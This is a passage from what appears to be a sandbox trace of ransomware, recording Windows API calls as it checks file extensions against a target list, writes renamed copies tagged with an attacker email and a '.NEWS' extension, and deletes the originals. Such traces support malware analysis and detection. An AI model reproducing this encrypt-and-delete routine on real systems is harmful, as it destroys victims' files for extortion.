Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0269.600] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf")) returned 1 [0269.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0269.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0269.601] lstrlenW (lpString=".doc") returned 4 [0269.601] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.601] lstrlenW (lpString=".docx") returned 5 [0269.601] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.601] lstrlenW (lpString=".pdf") returned 4 [0269.601] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.602] lstrlenW (lpString=".xls") returned 4 [0269.602] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.602] lstrlenW (lpString=".xlsx") returned 5 [0269.602] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.602] lstrlenW (lpString=".ppt") returned 4 [0269.602] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0269.602] lstrlenW (lpString=".zip") returned 4 [0269.602] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.602] lstrlenW (lpString=".rar") returned 4 [0269.602] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.602] lstrlenW (lpString=".bz2") returned 4 [0269.602] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.603] lstrlenW (lpString=".7z") returned 3 [0269.603] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0269.603] lstrlenW (lpString=".dbf") returned 4 [0269.603] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0269.603] lstrlenW (lpString=".1cd") returned 4 [0269.603] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0269.603] lstrlenW (lpString=".jpg") returned 4 [0269.603] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0269.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0269.604] lstrlenW (lpString=".doc") returned 4 [0269.604] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.604] lstrlenW (lpString=".docx") returned 5 [0269.604] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.604] lstrlenW (lpString=".pdf") returned 4 [0269.604] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.604] lstrlenW (lpString=".xls") returned 4 [0269.604] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.604] lstrlenW (lpString=".xlsx") returned 5 [0269.605] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.605] lstrlenW (lpString=".ppt") returned 4 [0269.605] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0269.605] lstrlenW (lpString=".zip") returned 4 [0269.605] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.605] lstrlenW (lpString=".rar") returned 4 [0269.605] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.605] lstrlenW (lpString=".bz2") returned 4 [0269.605] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.605] lstrlenW (lpString=".7z") returned 3 [0269.605] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0269.606] lstrlenW (lpString=".dbf") returned 4 [0269.606] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0269.606] lstrlenW (lpString=".1cd") returned 4 [0269.606] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0269.606] lstrlenW (lpString=".jpg") returned 4 [0269.606] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.607] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0269.607] lstrlenW (lpString="BL00923_.WMF") returned 12 [0269.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0269.963] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=6256) returned 1 [0269.963] CloseHandle (hObject=0x384) returned 1 [0269.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x20 [0270.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0270.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0270.043] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.043] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0270.046] GetLastError () returned 0x0 [0270.046] ReadFile (in: hFile=0x39c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x1870, lpOverlapped=0x0) returned 1 [0270.051] WriteFile (in: hFile=0x1cc, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x1880, lpOverlapped=0x0) returned 1 [0270.055] ReadFile (in: hFile=0x39c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.055] WriteFile (in: hFile=0x1cc, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.055] SetEndOfFile (hFile=0x1cc) returned 1 [0270.055] CloseHandle (hObject=0x1cc) returned 1 [0270.056] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.056] SetEndOfFile (hFile=0x39c) returned 1 [0270.064] CloseHandle (hObject=0x39c) returned 1 [0270.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0270.065] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf")) returned 1 [0270.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0270.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0270.068] lstrlenW (lpString=".doc") returned 4 [0270.068] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.068] lstrlenW (lpString=".docx") returned 5 [0270.068] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.068] lstrlenW (lpString=".pdf") returned 4 [0270.069] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.069] lstrlenW (lpString=".xls") returned 4 [0270.069] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.069] lstrlenW (lpString=".xlsx") returned 5 [0270.069] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.069] lstrlenW (lpString=".ppt") returned 4 [0270.069] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0270.069] lstrlenW (lpString=".zip") returned 4 [0270.069] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.069] lstrlenW (lpString=".rar") returned 4 [0270.069] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.070] lstrlenW (lpString=".bz2") returned 4 [0270.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.070] lstrlenW (lpString=".7z") returned 3 [0270.070] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0270.070] lstrlenW (lpString=".dbf") returned 4 [0270.070] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0270.070] lstrlenW (lpString=".1cd") returned 4 [0270.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0270.071] lstrlenW (lpString=".jpg") returned 4 [0270.071] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0270.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0270.071] lstrlenW (lpString=".doc") returned 4 [0270.071] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.071] lstrlenW (lpString=".docx") returned 5 [0270.071] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.071] lstrlenW (lpString=".pdf") returned 4 [0270.071] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.071] lstrlenW (lpString=".xls") returned 4 [0270.072] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.072] lstrlenW (lpString=".xlsx") returned 5 [0270.072] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.072] lstrlenW (lpString=".ppt") returned 4 [0270.072] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0270.072] lstrlenW (lpString=".zip") returned 4 [0270.072] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.072] lstrlenW (lpString=".rar") returned 4 [0270.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.072] lstrlenW (lpString=".bz2") returned 4 [0270.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.072] lstrlenW (lpString=".7z") returned 3 [0270.073] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0270.073] lstrlenW (lpString=".dbf") returned 4 [0270.073] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0270.073] lstrlenW (lpString=".1cd") returned 4 [0270.073] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0270.073] lstrlenW (lpString=".jpg") returned 4 [0270.073] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.074] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0270.074] lstrlenW (lpString="BL00985_.WMF") returned 12 [0270.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0270.075] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=3768) returned 1 [0270.075] CloseHandle (hObject=0x39c) returned 1 [0270.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf")) returned 0x20 [0270.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0270.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0270.077] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.078] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0270.079] GetLastError () returned 0x0 [0270.079] ReadFile (in: hFile=0x39c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0xeb8, lpOverlapped=0x0) returned 1 [0270.482] WriteFile (in: hFile=0x1cc, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec0, lpOverlapped=0x0) returned 1 [0270.486] ReadFile (in: hFile=0x39c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.486] WriteFile (in: hFile=0x1cc, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.486] SetEndOfFile (hFile=0x1cc) returned 1 [0270.486] CloseHandle (hObject=0x1cc) returned 1 [0270.487] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.487] SetEndOfFile (hFile=0x39c) returned 1 [0270.496] CloseHandle (hObject=0x39c) returned 1 [0270.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0270.497] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf")) returned 1 [0270.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0270.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0270.499] lstrlenW (lpString=".doc") returned 4 [0270.499] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.500] lstrlenW (lpString=".docx") returned 5 [0270.500] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.500] lstrlenW (lpString=".pdf") returned 4 [0270.500] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.500] lstrlenW (lpString=".xls") returned 4 [0270.500] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.500] lstrlenW (lpString=".xlsx") returned 5 [0270.500] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.500] lstrlenW (lpString=".ppt") returned 4 [0270.500] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0270.500] lstrlenW (lpString=".zip") returned 4 [0270.500] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.500] lstrlenW (lpString=".rar") returned 4 [0270.500] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.501] lstrlenW (lpString=".bz2") returned 4 [0270.501] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.501] lstrlenW (lpString=".7z") returned 3 [0270.501] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0270.501] lstrlenW (lpString=".dbf") returned 4 [0270.501] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0270.501] lstrlenW (lpString=".1cd") returned 4 [0270.501] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0270.501] lstrlenW (lpString=".jpg") returned 4 [0270.501] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0270.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0270.502] lstrlenW (lpString=".doc") returned 4 [0270.502] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.502] lstrlenW (lpString=".docx") returned 5 [0270.502] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.502] lstrlenW (lpString=".pdf") returned 4 [0270.502] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.502] lstrlenW (lpString=".xls") returned 4 [0270.502] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.502] lstrlenW (lpString=".xlsx") returned 5 [0270.503] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.503] lstrlenW (lpString=".ppt") returned 4 [0270.503] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0270.503] lstrlenW (lpString=".zip") returned 4 [0270.503] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.503] lstrlenW (lpString=".rar") returned 4 [0270.503] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.503] lstrlenW (lpString=".bz2") returned 4 [0270.503] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.503] lstrlenW (lpString=".7z") returned 3 [0270.503] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0270.504] lstrlenW (lpString=".dbf") returned 4 [0270.504] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0270.504] lstrlenW (lpString=".1cd") returned 4 [0270.504] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0270.504] lstrlenW (lpString=".jpg") returned 4 [0270.504] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.505] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0270.505] lstrlenW (lpString="BS00092_.WMF") returned 12 [0270.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0270.552] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=7974) returned 1 [0270.552] CloseHandle (hObject=0x3bc) returned 1 [0270.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x20 [0270.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0270.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0270.571] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.571] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0270.572] GetLastError () returned 0x0 [0270.572] ReadFile (in: hFile=0x3cc, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x1f26, lpOverlapped=0x0) returned 1 [0270.594] WriteFile (in: hFile=0x384, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x1f30, lpOverlapped=0x0) returned 1 [0270.598] ReadFile (in: hFile=0x3cc, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.598] WriteFile (in: hFile=0x384, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.598] SetEndOfFile (hFile=0x384) returned 1 [0270.599] CloseHandle (hObject=0x384) returned 1 [0270.599] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.599] SetEndOfFile (hFile=0x3cc) returned 1 [0270.606] CloseHandle (hObject=0x3cc) returned 1 [0270.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0270.607] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf")) returned 1 [0270.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0270.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 